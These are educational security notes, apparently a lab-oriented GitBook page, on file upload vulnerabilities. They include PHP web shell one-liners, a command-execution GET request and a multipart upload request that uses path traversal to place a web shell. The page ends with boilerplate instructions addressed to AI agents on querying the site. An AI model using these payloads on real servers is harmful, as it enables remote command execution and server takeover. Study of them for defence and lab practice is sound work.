# File Upload Vulnerabilities

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.

In some cases, the act of uploading the file is in itself enough to cause damage. Other attacks may involve a follow-up HTTP request for the file, typically to trigger its execution by the server.

### What is the impact of the file upload vulnerabilities?<br>

Impact generally depends on two key factors:

* Which aspect of the file the website fails to validate properly, whether that be its size, type, contents, and so on.
* What restrictions are imposed on the file once it has been successfully uploaded.

**If file type is not validated:**\
In this case , an attacker could potentially upload a server side code file that functions as web shell, effectively granting them full control over the server.&#x20;

**If filename is not validated properly:**\
This could allow an attacker to overwrite some critical files simply by uploading a file with same name. If server is also vulnerable to directory traversal, this could mean attackers are even able to upload files to unanticipated locations,<br>

**If file size is not validated:**\
If file size isn't within threshold value, this could lead to Dos attack, where attacker fills the available disk space.\ <br>

## Exploiting unrestricted file uploads to deploy a web shell <a href="#exploiting-unrestricted-file-uploads-to-deploy-a-web-shell" id="exploiting-unrestricted-file-uploads-to-deploy-a-web-shell"></a>

PHP one-liner could be used to read arbitrary files from the server's filesystem:

```php
<?php echo file_get_contents('/path/to/target/file'); ?>
```

```php
<?php echo system($_GET['command']); ?>
```

then GET request for running commands:

```
GET /example/exploit.php?command=id HTTP/1.1

```

### Exploiting flawed validation of file uploads

#### 1) Flawed file type validation

When a form is submitted using the `POST` method with the <mark style="color:blue;">`application/x-www-form-urlencoded`</mark> content type, the data is sent in the body of the request as key-value pairs, similar to how query parameters appear in a URL. Here are some real-world inspired examples:<br>

**Form Fields**:

* `name`: `Jane Smith`
* `email`: `jane.smith@example.com`
* `password`: `P@ssw0rd123`

```
POST /register HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

name=Jane+Smith&email=jane.smith%40example.com&password=P%40ssw0rd123
```

When a form is submitted using the `POST` method with the <mark style="color:blue;">`multipart/form-data`</mark> content type, the data is sent in parts, with each part separated by a boundary. This is commonly used when uploading files or submitting forms that include binary data. Here are some real-world inspired examples:

**Form Fields**:

* `full_name`: `Jane Smith`
* `email`: `jane.smith@example.com`
* `resume`: (file) `resume.pdf`
* `cover_letter`: (file) `cover_letter.docx`

```
POST /submit-application HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1234

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="full_name"

Jane Smith
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="email"

jane.smith@example.com
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resume"; filename="resume.pdf"
Content-Type: application/pdf

<binary data of the PDF file>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cover_letter"; filename="cover_letter.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

<binary data of the DOCX file>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

The message body is split into separate parts for each of the form's inputs. Each part contains a `Content-Disposition` header, which provides some basic information about the input field it relates to. These individual parts may also contain their own `Content-Type` header, which tells the server the MIME type of the data that was submitted using this input.\
\
Some developer validates the file type on the basis of value given in input specific `Content-Type` header, if  header matches an expected MIME type then it is allowed to be uploaded.\
\
For example, it may only allow types like `image/jpeg` and `image/png`.&#x20;

&#x20;If no further validation is performed to check whether the contents of the file actually match the supposed MIME type, this defense can be easily bypassed using tools like Burp Repeater.

#### 2) Preventing file execution in user-accessible directories

It is always better to prevent dangerous file types being uploaded in the first place, the second line of defense is to stop the server from executing any script that do slip through the first step.<br>

Servers generally only run scripts whose MIME type they have been explicitly configured to execute. Otherwise, they may just return some kind of error message or, in some cases, serve the contents of the file as plain text instead:<br>

<pre><code>GET /static/exploit.php?command=id HTTP/1.1
    Host: normal-website.com
<strong>
</strong><strong>HTTP/1.1 200 OK
</strong>    Content-Type: text/plain
    Content-Length: 39

    &#x3C;?php echo system($_GET['command']); ?>
</code></pre>

Although this behavior leads us to leak source code but nullifies any attempt to create a web-shell.\
\
Most often this configuration of, not executing certain MIME types is directory specific and have stricter controls in location where user supplied files are getting uploaded. But lenient in location that are assumed to be of reach of users.\
\
We need to upload are files to such location where it can get execute.\
Web servers often use the `filename` field in `multipart/form-data` requests to determine the name and location where the file should be saved.So, we will try Path Traversal over here.

```
POST /my-account/avatar HTTP/2
Host: 0a2400ea0311482d82a61a41007c000b.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydLSnxvXEBHADH6E1

------WebKitFormBoundarydLSnxvXEBHADH6E1
Content-Disposition: form-data; name="avatar"; filename="..%2fWebShell.php"
Content-Type: application/x-php

<?php echo system($_GET['command']); ?>
------WebKitFormBoundarydLSnxvXEBHADH6E1
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarydLSnxvXEBHADH6E1
Content-Disposition: form-data; name="csrf"

9qm3kiaIlLo6rVrwcrngFMm5Kt0mYyjV
------WebKitFormBoundarydLSnxvXEBHADH6E1--

```

#### 3) Insufficient blacklisting of dangerous file types

<br>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/server-side-vulnerabilities/file-upload-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
